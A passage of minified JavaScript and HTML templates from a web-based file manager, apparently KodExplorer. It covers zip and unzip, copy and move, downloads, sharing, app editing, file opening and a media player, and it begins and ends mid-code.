0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),t+="&access_token="+G.access_token,$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+t+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},N=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},L=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},z=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},T=function(){var e=function(e,t){var i='<div style="padding:20px;">null!</div>';if(0!=e.length){i='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[t]+"</b><br/>";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}i+="</div>"}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},j=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},S=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},P=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},D=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}P(n)},A=function(){core.appStore()},F=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:D,appList:A,appAddURL:F,share:u,shareBox:f,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:L,zipDownload:x,zip:N,copy:p,cute:b,info:k,remove:d,cuteDrag:C,copyDrag:z,past:y,clipboard:T,fav:S,favRemove:j}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}})&nbsp;&nbsp;\n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return p([{url:a,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var n=core.path2url(e),a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(n);if(canvasSupport()){var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+n+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),PDFObject.embed(n,"#"+o)}else core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)))}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+t+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a>&nbsp;"+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(a=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("&nbsp; "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(a)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/tpl/file_create.html",[],"<div class=\"file select {{if type=='file'}}menufile{{else}}menufolder{{/if}} file_icon_edit\" id=\"makefile\">\n {{if list_type=='list'}}<span class=\"children_more\"></span>{{/if}}\n <div class=\"filename\" style=\"padding-top: 0px;\">\n <span class=\"title\">\n {{if type=='folder'}}\n <div class='ico' filetype='folder'>{{\"folder\" | core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{name_ext}}'>{{ext | core.icon}}</div>\n {{/if}}\n <div class=\"textarea\">\n {{if list_type=='icon'}}\n <textarea class='newfile fix'>{{newname}}</textarea>\n {{else}}\n <input class='newfile fix' value='{{newname}}'/>\n {{/if}}\n </div>\n </span>\n </div>\n <div style=\"clear:both;\"></div>\n</div>\n"),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1;ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&a.open(f().path,f().type)},r=function(e,t){var i=["menuTreeGroup","menuTreeFav","menuTreeFolderFav"];if(e&&e[0]&&-1!==$.inArray(e[0].menuType,i))return e;for(var a=[],n=[],o=0;e.length>o;o++)e[o].drop=!1,e[o].drag=!1,e[o].name=e[o].name,e[o].isParent&&e[o].children&&(e[o].children=r(e[o].children)),e[o].is_writeable,"folder"==e[o].type?n.push(e[o]):a.push(e[o]);return t?e:(n=n.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),a=a.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),n.concat(a))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>")},success:function(e){if(!e.code)return $("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>"),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var 